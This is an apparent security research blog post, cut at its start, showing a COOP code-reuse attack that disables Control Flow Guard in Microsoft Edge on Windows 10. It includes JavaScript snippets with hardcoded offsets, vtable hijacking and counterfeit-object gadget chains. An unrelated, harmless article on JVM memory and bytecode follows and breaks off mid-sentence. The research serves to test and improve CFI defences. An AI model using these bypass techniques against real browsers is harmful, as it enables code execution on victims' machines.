bitmap. Additionally, \_\_guard\_dispatch\_icall\_fptr in most DLLs is now set
to point to ntdll\!LdrpDispatchUserCallTargetES where a valid call target must
omit ‘01’ from the CFG bitmap.

<img
src='img/A16qG2uZNn4KXRsCfiQLGSjU221V2P62Y0b_T5Sk6aH5FAmjZXzrX9796Wfwpj6gRx5uOGIfFZpxCZTB1eBnxLlHNd914zWLrh5UAehj4zeB1Htq5Fp5ecXydUa7MobzyB0KorEB.png'
width='624' height='212' alt='CFG_table.png' />

Implementing this new export suppression feature becomes a bit complicated
when you factor in dynamically resolving symbols, since using GetProcAddress
implies subsequent code may invoke the return value as a function pointer.
Control Flow Guard handles this by changing the corresponding two-bit entry in
the CFG bitmap from ‘10’ \(export suppressed\) to ‘01’ \(valid call site\) as
long as the entry was not previously marked as sensitive or not marked valid
at all \(e.g. VirtualProtect, SetProcessValidCallTargets, etc.\). As a result,
some exports will begin as invalid indirect call targets on process creation,
but eventually become a valid call target due to code at runtime. This is
important to remember later in our discussion. For reference, a sample call
stack when this occurs looks as follows:

00 nt\!NtSetInformationVirtualMemory

01 nt\!setjmpex

02 ntdll\!NtSetInformationVirtualMemory

03 ntdll\!RtlpGuardGrantSuppressedCallAccess

04 ntdll\!RtlGuardGrantSuppressedCallAccess

05 ntdll\!LdrGetProcedureAddressForCaller

06 KERNELBASE\!GetProcAddress

07 USER32\!InitializeImmEntryTable

**COOP Essentials**

Schuster et al. identified counterfeit object-oriented programming \(COOP\) as
a potential weakness to CFI implementations. The attack sequences together and
reuses existing virtual functions in order to execute code while passing all
forward-edge CFI checks along the way. In a similar manner to ROP, the result
is a sequence of small valid functions that individually perform minimal
computation \(e.g. load a value into RDX\), but when pieced together perform
some larger task. A fundamental component of COOP is to leverage a main loop
function, which might iterate over a linked-list or array of objects, invoking
a virtual method on each object. The attacker is then able to piece together
“counterfeit” objects in memory, in some cases overlapping the objects, such
that the main loop will call valid virtual functions of the attacker’s
choosing in a controlled order. Schuster et al. demonstrated the approach with
COOP payloads targeting Internet Explorer 10 on Windows 7 32-bit and 64-bit,
and Firefox on Linux 64-bit. The research was later extended, demonstrating
that recursion or functions with many indirect call invocations could also be
used instead of a loop, and extended yet again into targeting the Objective-C
runtime.

This prior research is extremely interesting and novel. We wanted to apply the
concept to some modern CFI implementations to assess: a\) the difficulty of
crafting a COOP payload in a hardened browser; b\) whether we could bypass CFG
and HA-CFI; and c\) whether we could improve our CFI to detect COOP style
attacks.

**Our Target**

Our primary target for COOP was Microsoft Edge on Windows 10, as it represents
a fully hardened CFG application, and allows us to prepare our COOP payload in
memory using JavaScript. While vulnerabilities are always of interest to our
team, for this effort we focus on the hijack of control flow with CFI in
place, and make the following assumptions as an attacker:

  1. An arbitrary read-write primitive is obtained from JavaScript.
  2. Hardcoded offsets are allowed, as dynamically finding gadgets at run-time is out of scope for this particular effort.
  3. All of Microsoft’s latest mitigations in Creators update are enabled \(e.g. ACG, CIG, CFG with export suppression\).
  4. The attacker must not bypass or avoid CFG in any way other than using COOP.

For our initial research, we leveraged a POC from Theori for Microsoft Edge on
Windows 10 Anniversary update \(OS build 14393.953\). However, we designed our
payload with Creators update mitigations in mind, and validated our final
working COOP payload on Windows 10 Creators update \(OS build 15063.138\) with
export suppression enabled.

An ideal POC would execute some attacker shellcode or launch an application. A
classic code execution model for an attacker is to map some controlled data in
memory as +X, and then jump to shellcode in that newly modified +X region.
However, our real goal is to generate COOP payloads that execute something
meaningful while protected by forward-edge CFI. Such a payload provides data
points with which we can test and refine our own CFI algorithms. Further,
attacking Arbitrary Code Guard \(ACG\) or the child process policy in Edge is
slightly out of scope. We decided an acceptable end goal for our research on
Windows 10 Creators Update was to use COOP to effectively disable CFG, opening
up the ability to then jump or call any arbitrary location within a DLL. We
thus ended up with two primary COOP payloads:

  1. For Windows 10 Anniversary Update, and a lack of ACG, our payload maps data we control as executable, and then jumps into that region of controlled shellcode after disabling CFG.
  2. For Windows 10 Creators Update, our end goal was to simply disarm CFG. 

**Finding COOP Gadgets**

Following the blueprint left by Schuster et al., our first order of business
was to agree upon a terminology for the various components of COOP. The
academic papers refer to each reused function as a virtual function gadget or
vfgadget, and when describing each specific type of vfgadget an abbreviation
is used such as ML-G for a main loop vfgadget. We opted to name each type of
gadget in a more informal way. Terms you find in the remaining post are
defined here:

  * **Looper** : the main loop gadget critical to executing complex COOP payloads \(ML-G in paper\)
  * **Invoker** : a vfgadget which invokes a function pointer \(INV-G in paper\)
  * **Arg Populator** : a virtual function which preps an argument, either loading a value into a register \(LOAD-R64-G in paper\), or moving the stack pointer and/or loading values on the stack \(MOVE-SP-G in paper\)

Similar to the paper, we wrote scripts to help us identify vfgadgets in a
given binary. We utilized IDA Python, and logic helped us find loopers,
invokers, and argument populators. In our research, we found that a practical
approach to COOP is to chain together and execute a small number of vfgadgets
at a time, before returning to JavaScript, repeating the process through
additional COOP payloads as needed. For this reason, we did not find it
necessary to lift binary code to IR for our purposes. However, to piece
together an extremely large COOP payload, such as running a C2 socket thread
all via reused code, it may require lifting to IR in order to piece together
the desired assembly. For each subtype of vfgadget, we defined a list of rules
that we used while conducting a search within two of the more fruitful
binaries in Edge \(chakra.dll and edgehtml.dll\). A few of these rules for a
looper vfgadget include:

  1. Function present on \_\_guard\_fids\_table
  2. Contain a loop with exactly 1 indirect call taking 0 arguments
  3. Loop must not clobber argument registers

<img src='img/I-1l60GAmPvdkJHH59sLDZI9cwxVG-
rfsgiYc6UN31E2db8b4rf3xlUehGvMUGeFo-lm_PEqgwVnQiCR6bN1aYLfIkw-
ufJ2kknWGxlaBMV8VloeWQiMGskWAM8SEViHCNVUB1-o.png' width='624' height='291'
alt='vfgadget_table.png' />

Of all the classes of vfgadgets, the search for loopers was the most time
consuming. Many potential loopers have some restrictions that make it hard to
work with. Our hunt for invokers turned up not only vfgadgets for invoking
function pointers, but also many vfgadgets that can very quickly and easily
populate up to six arguments at once all from a single counterfeit object. For
this reason, there are shortcuts available for COOP when attempting to invoke
a single API, which completely avoid requiring a loop or recursion, unless a
return value is needed. Numerous register populators were found for all
argument registers on x64. It is worth mentioning that a number of the
original vfgadgets proposed in the Schuster et al. COOP paper from mshtml can
still be found in edgehtml. However, we added a requirement to our effort to
avoid reusing any of these and instead find all new vfgadgets for our COOP
payloads.

**COOP Payloads**

By triggering COOP from a scripting language, we can actually move some
complex tasking out of COOP, since chaining together everything at once can
get complicated. We can use JavaScript to our advantage and repeatedly invoke
miniature COOP payload sequences. This allows us to move things like
arithmetic and conditional operations back to JavaScript, and leave the bare
essential function reuse to prepping and invoking critical API’s via COOP.
Further, we show an example of this methodology including passing return
values from COOP back to JavaScript in our Hijack \#1 section discussing how
to invoke LoadLibrary.****

For brevity, I will only step through one of our simplest payloads. A common
theme to all of our payloads is the requirement to invoke VirtualProtect.
Since VirtualProtect and the eshims APIs are marked as sensitive and not a
valid target for CFG, we have to use a wrapper function in Creators Update. As
originally suggested by Thomas Garnier, a number of convenient wrappers can be
found in .NET libraries mscoree.dll and mscories.dll such as
UtilExecutionEngine::ClrVirtualProtect. Because Microsoft’s ACG prevents
creating new executable memory, or changing existing executable memory to
become writable, an alternate approach is required. Read-only memory can be
remapped as writable with VirtualProtect, so I borrow the technique from a
BlackHat 2015 presentation, and remap the page containing
chakra\!\_\_guard\_dispatch\_icall\_fptr as writable, then overwrite the
function pointer to point to an arbitrary place in chakra.dll that contains a
jmp rax instruction. In fact, there already exists a function in most DLLs,
\_\_guard\_dispatch\_icall\_nop, which is exactly that – a single jmp rax
instruction. As a result, I can effectively disable CFG since all protected
call sites within chakra.dll will immediately just jump to the target address
as if it passed all checks. Presumably one could take this a step further to
explore function-reuse to attack ACG. To accomplish this mini-chain, the
following is required:

  1. Load mscoree.dll into the Edge process
  2. Invoke ClrVirtualProtect +W on a read-only memory region of chakra.dll
  3. Overwrite \_\_guard\_dispatch\_icall\_fptr to always pass check

As seen from the list of vfgadgets above, edgehtml is an important library for
COOP. Thus, the first order of business is to leak the base address for
edgehtml as well as any other necessary components, such as our counterfeit
memory region. This way the payload can contain hardcoded offsets to be
rebased at runtime. Using the info leak bug in Theori’s POC, we can obtain all
the base addresses we need.

//OS Build 10.0.14393  
  
var chakraBase = Read64\(vtable\).sub\(0x274C40\);  
  
var guard\_disp\_icall\_nop = chakraBase.add\(0x273510\);  
  
var chakraCFG = chakraBase.add\(0x5E2B78\); //\_guard\_dispatch\_icall...  
  
var ntdllBase = Read64\(chakraCFG\).sub\(0x95260\);  
  
  
  
//Find global CDocument object, VTable, and calculate EdgeHtmlBase  
  
var \[hi, lo\] = PutDataAndGetAddr\(document\);  
  
CDocPtr = Read64\(newLong\(lo + 0x30, hi, true\)\);  
  
EdgeHtmlBase = Read64\(CDocPtr\).sub\(0xE80740\);  
  
  
  
//Rebase our COOP payload  
  
rebaseOffsets\(EdgeHtmlBase, chakraBase, ntdllBase, pRebasedCOOP\);

**Triggering COOP**

A key part of using COOP is the initial transition from JavaScript into a
looper function. Using our assumed R/W primitive, we can easily hijack a
vtable in chakra to point to our looper, but how do we ensure the looper then
begins iterating over our counterfeit data? For that answer we need to
evaluate the looper, which I chose as CTravelLog::UpdateScreenshotStream:

<img
src='img/o17fvYrSUOVr48xR4WLdcesiNq3e8e0loKgsCnysKFMvZYmdin7bO7bg89zN5yeo7td6rOqxwh_qNzjL0oFX2v69zLIrzsYUVid5vIh99FANK6mnMUS0BmOMXe9HRp_R3yEapR-k.png'
width='624' height='499' alt='ida_looper.png' />

Notice in the first block before the loop, the code is retrieving a pointer to
a linked list at this + 0x30h. In order to properly kick off the looper, we
must both hijack a JavaScript object’s vtable to include the address to our
looper, and then place a pointer at object + 0x30 to point to the start of our
counterfeit object list. The actual counterfeit object data can be defined and
rebased entirely in JavaScript. Also notice the loop is iterating over a list
with a next pointer at object + 0x80h. This is important when crafting our
counterfeit object stream. Additionally, notice the vtable offset for this
indirect call site is +0xF8h. Any fake vtable in our counterfeit objects must
all point to the address of the desired function pointer minus 0xF8h, which
often will be in the middle of some neighboring vtable. To kickoff our COOP
payload, I chose to hijack a JavascriptNativeIntArray object and will
specifically override the freeze\(\) and seal\(\) virtual functions as
follows.

var hijackedObj = new Array\(0\);

\[hi, lo\] = PutDataAndGetAddr\(hijackedObj\);

var objAddr = new Long\(lo, hi, true\);

Write64\(objAddr.add\(0x30\), pRebasedCOOP\);

Write64\(objAddr, pFakeVTable\);

Object.seal\(hijackedObj\); //Trigger initial looper

<img
src='img/c-IZ82yxprxaT9ttjKFX63vobzdIN1Fwm_Z2vBHdfIww2EwSWtdntACc2YlLmbgR0xmDmghI6pgOn__gNYAbKGjExiP7yg4meG_E9XANZxEJhk9WayEL5q_x_8GdHqca88equaCz.png'
width='624' height='281' alt='hijackobj1.png' />

**Hijack \#1: Invoking LoadLibrary**

As previously stated, my end goal was bypassing CFG on Edge on Win10 Creators
update with export suppression enabled. Looking at the various LoadLibrary
calls exported in kernel32 and kernelbase, it turns out loading a new DLL into
our process is rather easy even with the latest CFG feature in place. The
reason for this is two-fold. First, LoadLibraryExW is actually marked as a
valid call target in the \_\_guard\_fids\_table within kernel32.dll.

<img src='img/DMuJpZZl3FqyP3TYG25wfAkX0ewzXMV-
cL_mSdQWOfcySUzaOhZm2DhjtrdJGw9rY2o31eSxCFmuwg5ZhzNCeaoWdQgeAiaKuEk4dTGBlChNVna_G8SkaPIAHQZVqAtE7l2HOTy2.png'
width='454' height='346' alt='guard_fids.png' />

Second, the rest of the LoadLibrary calls within both kernel32 and kernelbase
start out as suppressed, but in Edge they eventually become valid call sites.
This appears to stem from some delayed loading in
MicrosoftEdgeCP\!\_delayLoadHelper2, which eventually results in GetProcAddr
being called on the LoadLibraryX APIs. As foreshadowed earlier, this
demonstrates the difficulty of making all function exports invalid call
targets. Even if these other LoadLibrary call gates remained suppressed or
were only opened temporarily, for our purposes we can just use
kernel32\!LoadLibraryExW since it’s initialized as a valid target.

To get our desired VirtualProtect wrapper loaded into the Edge process, we
need to invoke LoadLibraryExW\(“mscoree.dll”, NULL,
LOAD\_LIBRARY\_SEARCH\_SYSTEM32\). We could cut corners here, and leverage one
of the aforementioned invokers to populate all of our parameters at once, but
instead let’s create a traditional COOP payload using a looper vfgadget to
iterate over four counterfeit objects.

<img
src='img/tVDBTBOEtSqO7-UE87PO_TOsKGJ5qSi0IyqeIs7ujgWA0s9lBvOsFlm7t2FB967y6YbxLKo2zErirdXFEc6NE-22HiC78Q74hEGs8OXwnAMkylF1bRHHCATIr_qkpOVB52vNIyG0.png'
width='624' height='325' alt='coop_pay1.png' />

Our first iteration will populate r8d with 0x800. CHTMLEditor::IgnoreGlyphs is
a nice vfgadget to populate r8d as seen in the assembly below. Our parameter
0x800 \(LOAD\_LIBRARY\_SEARCH\_SYSTEM32\) will be loaded from this + 0xD8h.
Recall that the next pointer in our counterfeit objects must be at +0x80h. We
could create four contiguous counterfeit objects in memory to each be of size
greater than 0xD8h, or we could treat the next pointer to be located at the
end of our object. I chose the latter. In this case, we will have an
overlapping object so we must be careful that the offset of this + 0xD8 does
not interfere with the vfgadget from our second iteration that operates on the
second object in memory. The first counterfeit object for populating r8d looks
as follows:

<img src='img/hvSPUa-
QCH4tmYOjomKBYtw7ci1zs0wpCqOxdBGdghcu3pbwvQ1bsdWoQjarRs8lvcfGZPThMSzvAEukXfUrPErhqZyoWC-p8xCwAxCXNgTB02eXFU9bNkegyQceOSZjSKJR5RBI.png'
width='624' height='500' alt='vfgadget1.png' />

Upon return from this vfgadget, the looper then iterates over our fake linked
list and must now invoke another vfgadget this time to populate rdx with a
value of 0x0 \(NULL\). To achieve this I use
Tree::ComputedRunTypeEnumLayout::BidiRunBox::RunType\(\). We can load our
value \(0x0\) from our counterfeit object + 0x28h.

<img src='img/EKMVPTThdiQGHKOqussUiyrR1hPOGdRTeQYRolhz-
BnWokkfMzdEvxL4CNzGBRfp6b2fxs2O0YproLlW3cEVCC-
XtnbToC_QeiREikYMYeytVJAGIVnD_kHGvLtcq5KJX6fVq01v.png' width='624'
height='376' alt='vfgadget2.png' />

Now that we have populated parameters 2 and 3 for our API call, we need to
populate the first argument, a pointer to our ‘mscoree.dll’ string, and then
invoke a function pointer to LoadLibraryExW. A perfect invoker vfgadget exists
for this purpose, Microsoft::WRL::Details::InvokeHelper::Invoke\(\). The
assembly and corresponding third counterfeit object are as follows:

<img
src='img/VlshBhMgXCkFu0z8ID9yIwUdh8n8tBQ5S578Sc9Z9msxc6j9BmGc-D66hkW8KAQH1UYiM7SahOxazrsnR9CE6dk5fVQTM8ExzHiOKXJrKwFvClIH5WuBxq8r-UHlGlGRwCvZGa5q.png'
width='624' height='424' alt='vfgadget3.png' />

Now that LoadLibraryExW has been called, and hopefully mscoree.dll loaded into
our process, we need to get the return address back to JavaScript to rebase
additional COOP payloads. Both the looper and CFG make use of RAX for the
indirect branch target, so we need to find another way to get the virtual
address for the newly loaded module back to JavaScript. Fortunately, upon
exiting LoadLibraryExW, RDX also contains a copy of the module address.
Therefore, we can tack on one final vfgadget to our object list in order to
move RDX back into our counterfeit object memory region. For the final
iteration of our loop, we will invoke
CBindingURLBlockFilter::SetFilterNotify\(\), which will copy RDX into the
address of our current counterfeit object – 0x88h.

<img src='img/m8TbvVzxsSfW5C_Xzv_3XuB-
kvL0QiyYgUIVFI6DD9c3tn1Q5u95j23XJaA_Iy0qH8xk6aNGkGRvBRFOaOA8hQMMa9TLCz4N7ifzhYdrl1Iisg8dwzvVBog9_7lqzECpTg57niNE.png'
width='624' height='421' alt='vfgadget4.png' />

The looper then reaches the end of our list, and returns from the hijacked
seal\(\) call transferring control back to our JavaScript code. The first COOP
payload has completed, mscoree.dll has been loaded into Edge, and we can now
retrieve the base address for mscoree from JavaScript in the code snippet
below.

//Retrieve loadlibrary return val from coop region

var mscoreebase = Read64\(pRebasedCOOP.add\(0x128\)\);

alert\("mscoree.dll loaded at: 0x" + mscoreebase.toString\(16\)\);

**Hijack \#2: Invoking VirtualProtect Wrapper**

Having successfully completed our first COOP payload, we can now rebase a
second COOP payload to invoke ClrVirtualProtect on the read-only memory region
that contains chakra\!\_\_guard\_dispatch\_icall\_fptr in order to make it
writable. Our objective is to call ClrVirtualProtect\(this,
chakraPageAddress,0x1000,PAGE\_READWRITE,pScratchMemory\). This time we will
demonstrate a COOP payload that does not make use of a loop or recursion by
using a single counterfeit object to populate all arguments and invoke a
function pointer. We’ll use the same invoker vfgadget as before, only this
time it is primarily used to move a counterfeit object into rcx.

<img
src='img/Bl5qLZnWNZaknP_gp8EZYpyjIRnkLybkYeBA9Zv2euKLDo_B39opWXHVRjadd89-Ah1W_IEuIrYQ1zo-J9V_3rGRKrqAEsttKi_TpH8PqY7p3AREifwf8H4qv_W7roBByRKYzgNo.png'
width='496' height='709' alt='coop_pay2.png' />

We hijack the freeze\(\) virtual method from our original
JavascriptNativeIntArray to point to
Microsoft::WRL::Details::InvokeHelper::Invoke. This vfgadget will move the
this pointer based on the address at this + 0x10, and it will treat this+0x18h
as a function pointer. Thus, from our R/W primitive in JavaScript, in addition
to hijacking the vtable to call this invoker trampoline function, we also need
to overwrite the values of the object + 0x10 and + 0x18.

Write64\(objAddr.add\(0x10\), pCOOPMem2\);

Write64\(objAddr.add\(0x18\), EdgeHtmlBase.add\(0x2DC540\)\);

Object.freeze\(objAddr\);

<img src='img/SUdUHnJOwD_-
sVCPz7-ekRTVqxnNn3_lxcNnnJF19exCcCRiQNVjtNXyf1Evvc9l5F8RgGbkhAS0sLosXxoK0uf4xiDO7fn_beCRRcghrI8gdQnqgeU17DXcl4dUGRI35GzFAG-n.png'
width='624' height='172' alt='hijackobj2.png' />

Notice that our fake object will load all the required parameters for
ClrVirtualProtect, as well as populate the address of ClrVirtualProtect into
rax by resolving index +0x100h from another fake vtable. Upon completion, this
will map the desired page in chakra.dll to be writable.

<img
src='img/GG0RyABQT18guyHYQhfe8g6KOoXU4RHH6A1m7EDAGNG_H94jhTyxliG5HgHRUjken92OrPFeo_9imYlc_711P8C2qCzOFS49PFps9FT67a_hoS1d2v46Fnx7K83FxEY8-8MQVYyK.png'
width='624' height='463' alt='vfgadget5.png' />

At this point we are done with COOP, and our last step is to actually disarm
CFG for chakra.dll. We can pick any arbitrary address in chakra.dll that
contains the instruction jmp rax. Once this is identified, we use our write
primitive from JavaScript to overwrite the function pointer for
chakra\!\_\_guard\_dispatch\_icall\_fptr to point to this address. This has
the effect of NOPing the CFG validation routine, and allows us to hijack a
chakra vtable from JavaScript to jump anywhere.

//Change chakra CFG pointer to NOP check

Write64\(chakraCFG, guard\_disp\_icall\_nop\);

//trigger hijack to 0x4141414141414141

Object.isFrozen\(hijackedObj\);

As the WinDbg output below illustrates, with CFG now disabled our hijack was
successful and the process crashes when trying to jump to the unmapped address
0x4141414141414141. It’s important to point out that we could have made this
hijack jump to anywhere in the process address space due to CFG being
disabled. By comparison, with CFG in place an exception would have been thrown
since 0x4141414141414141 is not valid in the bitmap, and we would have seen
the original CFG routine that we swapped out,
ntdll\!LdrpDispatchUserCallTargetES, in our call stack.

<img src='img/1XydBB2t0PN-
YExpJwzXob7pwTxmkE_3OxzJbNJ7ENWZ5WN6oG1bFk3sNuPw1iQx0e1yuRlMFtORlEC1NGohTLXAwTJizw7yyeWM_FKnRL-9MoE8OLJ5FNwmky5Skx1TrujrySD2.png'
width='624' height='280' alt='windbg.png' />

**Conclusion**

In this post, I discussed COOP, a novel code-reuse attack proposed in
academia, and demonstrated how it can be used to attack modern Control-Flow
Integrity implementations, such as Microsoft CFG. Overall, COOP is fairly easy
to work with, particularly when breaking up payloads into smaller chains.
Piecing together vfgadgets is not unlike the exercise of assembling ROP
gadgets. Perhaps the most time consuming portion is finding and labeling
candidate vfgadgets of various types within your target process space.

Microsoft’s Control Flow Guard is considered a coarse-grained CFI
implementation and is thus more vulnerable to function reuse attacks such as
described here. By comparison, fine-grained CFI solutions are able to validate
call sites beyond just the target address considering elements such as
expected VTable type, validating number of arguments, or even argument types,
for a given indirect call. A key tradeoff between the two approaches is
performance, as introducing too much complexity into a CFI policy can add
significant overhead. Nonetheless, mitigating advanced code-reuse attacks is
important moving forward as applications become hardened with some form of
forward-edge and backward-edge CFI.

To offset some of the limitations of CFG, Microsoft appears to be focused on
diversifying its preventions such as protecting critical call gates like
VirtualProtect with export suppression in CFG and Arbitrary Code Guard.
However, one important takeaway from this post should be the challenges of
designing and enforcing mitigations from user-space. As we saw with EMET a
couple of years ago, researchers were able to disarm EMET by reusing code
inserted by EMET itself. Further, as was originally demonstrated at BlackHat
2015, here we are similarly taking advantage of critical CFG function pointers
residing in user-space to alter the behavior of CFG.

By comparison, Endgame’s HA-CFI solution is implemented and enforced entirely
from the kernel and uses hardware features that even if vulnerable to function
reuse attacks, make it more difficult to tamper with because of the privilege
separation. In the second part of this series, I will discuss the COOP
adventures with our own HA-CFI and ongoing research, and how our detection
logic evolves to account for advanced function reuse attacks.

  

# JVM memory model - Coding Geek

**Created:**| _9/14/2015 2:01:40 PM_  
---|---  
**Updated:**| _9/14/2015 2:01:40 PM_  
**Author:**| __  
**Tags:**| __  
  
  

#  Coding Geek

## A blog about IT, programming and Java

.

Skip to content

  * Home
  * About Me
  * Contact Me

Home  »» JVM »» JVM memory model

#  JVM memory model

by Christophe | posted:  April 1, 2015  | updated:  June 18, 2015  0 Comment
.

__Tweet

 ____1

This page has been shared 1 times. View these Tweets.

0

The leitmotiv of JAVA is its famous WOTA: “write once, run anywhere”. In order
to apply it, Sun Microsystems created the Java Virtual Machine, an abstraction
of the underlying OS that interprets compiled java code. The **J VM** is the
core component of the JRE \(Java Runtime Environment\) and was created to run
Java code but is now used by other languages \(Scala, Groovy, JRuby, Closure
…\).

In this article, I’ll focus on the **R untime Data Areas** described in the
JVM specifications. Those areas are designed to store the data used by a
program or by the JVM itself. I’ll first present an overview of the JVM then
what bytecode is and end with the different data areas.

Contents \[show\]

#  Global Overview

The JVM is an abstraction of the underlying OS. It ensures that the same code
will run with the same behavior no matter what hardware or OS the JVM is
running on. For example:

  * The size of the primitive type int will always be a 32-bit signed integer from -2^31 to 2^31-1 whether the JVM is running on a 16bit/32bit/64bit OS.
  * Each JVM stores and uses data in-memory in a big-endian order \(where high bytes come first\) whether the underlying OS/Hardware is big-endian or little endian.

Note: sometimes, the behavior of a JVM implementation differs from another one
but it’s generally the same.

<img src='img/Temp2_4651.png' width='478' height='424' alt='overwiew of the
functioning of a JVM' />

This diagram gives on overview of the JVM:

  * The JVM **i nterprets** bytecode which is **p roduced** by the compilation of the source code of a class. Though the term JVM stands for “Java Virtual Machine”, it runs other languages like scala or groovy, as long as they can be compiled into java bytecode.
  * In order to avoid disk I/O, the bytecode is loaded into the JVM by **c lassloaders **in one of the the runtime data areas. This code stays in memory until the JVM is stopped or the classloader \(that loaded it\) is destroyed.
  * The loaded code is then **i nterpreted** and executed by an **e xecution engine**.
  * The execution engine needs to store data like a pointer to the ligne of code being executed. It also needs to store the data handled in the developer’s code.
  * The execution engine also takes care of dealing with the underlying OS.

Note: Instead of always interpreting bytecode, the execution engine of many
JVM implementations compiles the bytecode into native code if it’s often used.
It’s called the Just In Time \(**J IT**\) compilation and greatly speeds up
the JVM. The compiled code is temporary kept in a zone often called **C ode
Cache**. Since the zone is not in the JVM specifications, I won’t talk about
it during the rest of the article.

#  Stack based architecture

The JVM uses a stack based architecture. Though it’s invisible for the
developer it has a huge impact on the generated bytecode and the JVM
architecture, this is why I’ll briefly explain the concept.

The JVM executes the developer’s code by executing basics operations described
in the Java bytecode \(we’ll see it in the next chapter\). An operand is a
value on which an instruction operates. According to the JVM specifications,
those operations require that the parameters are passed through a stack called
**t he operand stack**.

<img src='img/Temp2_4653.png' width='515' height='273' alt='example of the
state of a java operand stack during the iadd operation' />

For example, let’s take the basic addition of 2 integers. This operation is
called **i add** \(for **i** nteger **a dd**ition\). If one wants to add 3 and
4 in bytecode:

  * He first pushes 3 and 4 in the operand stack.
  * Then calls the iadd instruction.
  * The iadd will pop the last 2 values from the operand stack.
  * The int result \(3 \+ 4\) is pushed into the operand stack in order to be used by other operations.

This way of functioning is called stack based architecture. There are other
ways to deal with basics operations, for example the register based
architecture stores the operands in small registers instead of a stack. This
register based architecture is used by desktop/server \(x86\) processors and
by the former android virtual machine Dalvik.

# Bytecode

Since the JVM interprets bytecode it’s useful to understand what it is before
going deeper.

The java bytecode is the java source code transformed into a set of basic
operations. Each operation is composed by one byte that represents the
instruction to execute \(called **o pcode** or **o peration code**\), along
with zero or more bytes for passing parameters \(but most of the operation
uses the operand stack to pass parameters\). Of the 256 possible one byte-long
opcodes \(from value 0x00 to 0xFF in hexadecimal\), 204 are currently in use
in the java8 specifications.

Here is a list of the different category of bytecode operations. For each
category, I added a small description and the hexadecimal range of the
operation codes:

  * Constants: for pushing values from the constant pool \(we’ll see it later\) or from known values into the operand stack. From value 0x00 to 0x14
  * Loads: for loading values from local variables into the operand stack. From value 0x15 to 0x35
  * Stores: for storing from the operand stack into local variables. From value 0x36 to 0x56
  * Stack: for handling the operand stack. From value 0x57 to 0x5f
  * Math: for basic mathematical operations on values from the operand stack. From value 0x60 to 0x84
  * Conversions: for converting from one type to another. From value 0x85 to 0x93
  * Comparisons: for basic comparison between two values. From value 0x94 to 0xa6
  * Control: the basics operations like goto, return, … that allows more advanced operation like loops or functions that return values. From value 0xa7 to 0xb1
  * References: for allocating objects or arrays, getting or checking references on objects, method or static methods. Also used for invoking \(static\) methods. From value 0xb2 to 0xc3
  * Extended: operations from the others categories that were added after. From value 0xc4 to 0xc9
  * Reserved: for internal use by each Java Virtual Machine implementation. 3 values: 0xca, 0xfe and 0xff.

These 204 operations are very simple, for example:

  * The operand **i feq** \(0x99 \) checks if 2 values are equals
  * The operand **i add** \(0x60\) adds 2 values
  * The operand **i 2l** \(0x85\) converts an integer to a long
  * The operand **a rraylength** \(0xbe\) gives the size of an array
  * The operand **p op** \(0x57\) pops the first value from the operand stack

To create bytecode one needs a compiler, the standard java compiler included
in the JDK is **j avac**.

Let’s have a look of a simple addition:

[code]

    public class Test {
      public static void main(String[] args) {
        int a =1;
        int b = 15;
        int result = add(a,b);
      }
    
      public static int add(int a, int b){
        int result = a + b;
        return result;
      }
    }
    
[/code]

The “javac Test.java” command generates a bytecode in Test.class. Since the
java bytecode is a binary code, it’s not readable by humans. Oracle provides a
tool in its JDK, **j avap**, that transforms binary bytecode into human
readable set of labeled operation codes from the JVM specifications.

The command “javap -verbose Test.class” gives the following result :

[code]

    Classfile /C:/TMP/Test.class
      Last modified 1 avr. 2015; size 367 bytes
      MD5 checksum adb9ff75f12fc6ce1cdde22a9c4c7426
      Compiled from "Test.java"
    public class com.codinggeek.jvm.Test
      SourceFile: "Test.java"
      minor version: 0
      major version: 51
      flags: ACC_PUBLIC, ACC_SUPER
    Constant pool:
       #1 = Methodref          #4.#15         //  java/lang/Object."<init>":()V
       #2 = Methodref          #3.#16         //  com/codinggeek/jvm/Test.add:(II)I
       #3 = Class              #17            //  com/codinggeek/jvm/Test
       #4 = Class              #18            //  java/lang/Object
       #5 = Utf8               <init>
       #6 = Utf8               ()V
       #7 = Utf8               Code
       #8 = Utf8               LineNumberTable
       #9 = Utf8               main
      #10 = Utf8               ([Ljava/lang/String;)V
      #11 = Utf8               add
      #12 = Utf8               (II)I
      #13 = Utf8               SourceFile
      #14 = Utf8               Test.java
      #15 = NameAndType        #5:#6          //  "<init>":()V
      #16 = NameAndType        #11:#12        //  add:(II)I
      #17 = Utf8               com/codinggeek/jvm/Test
      #18 = Utf8               java/lang/Object
    {
      public com.codinggeek.jvm.Test();
        flags: ACC_PUBLIC
        Code:
          stack=1, locals=1, args_size=1
             0: aload_0
             1: invokespecial #1                  // Method java/lang/Object."<init>":()V
             4: return
          LineNumberTable:
            line 3: 0
    
      public static void main(java.lang.String[]);
        flags: ACC_PUBLIC, ACC_STATIC
        Code:
          stack=2, locals=4, args_size=1
             0: iconst_1
             1: istore_1
             2: bipush        15
             4: istore_2
             5: iload_1
             6: iload_2
             7: invokestatic  #2                  // Method add:(II)I
            10: istore_3
            11: return
          LineNumberTable:
            line 6: 0
            line 7: 2
            line 8: 5
            line 9: 11
    
      public static int add(int, int);
        flags: ACC_PUBLIC, ACC_STATIC
        Code:
          stack=2, locals=3, args_size=2
             0: iload_0
             1: iload_1
             2: iadd
             3: istore_2
             4: iload_2
             5: ireturn
          LineNumberTable:
            line 12: 0
            line 13: 4
    }
    
[/code]

The readable .class shows that the bytecode contains more than a simple
transcription of the java source code. It contains:

  * the description of the constant pool of the class. The constant pool is one of the data areas of the JVM that stores metadata about classes like the name of the methods, their arguments …When a class is loaded inside the JVM this part goes into the constant pool.
  * Information like LineNumberTable or LocalVariableTable that specify the location \(in bytes\) of the function and their variables in the bytecode.
  * A transcription in bytecode of the developer’s java code \(plus the hidden constructor\).
  * Specific operations that handle the operand stack and more broadly the way of passing and getting parameters.

FYI, here is a light description of the information stored in a .class file:

[code]

    ClassFile {
      u4 magic;
      u2 minor_version;
      u2 major_version;
      u2 constant_pool_count;
      cp_info constant_pool[constant_pool_count-1];
      u2 access_flags;
      u2 this_class;
      u2 super_class;
      u2 interfaces_count;
      u2 interfaces[interfaces_count];
      u2 fields_count;
      field_info fields[fields_count];
      u2 methods_count;
      method_info methods[methods_count];
      u2 attributes_count;
      attribute_info attributes[attributes_count];
    }
    
[/code]

# Runtime Data Areas

The runtime data areas are the in-memory areas designed to store data. Those
data are used by the developer’s program or by the JVM for its inner working.

<img src='img/Temp2_4654.png' width='599' height='333' alt='overview of the
different runtime memory data areas of a JVM' />

This figure shows an overview of the different runtime data areas in the JVM.
Some areas are unique of other are per thread.

## Heap

The heap is a memory area shared among all Java Virtual Machine Threads. It is
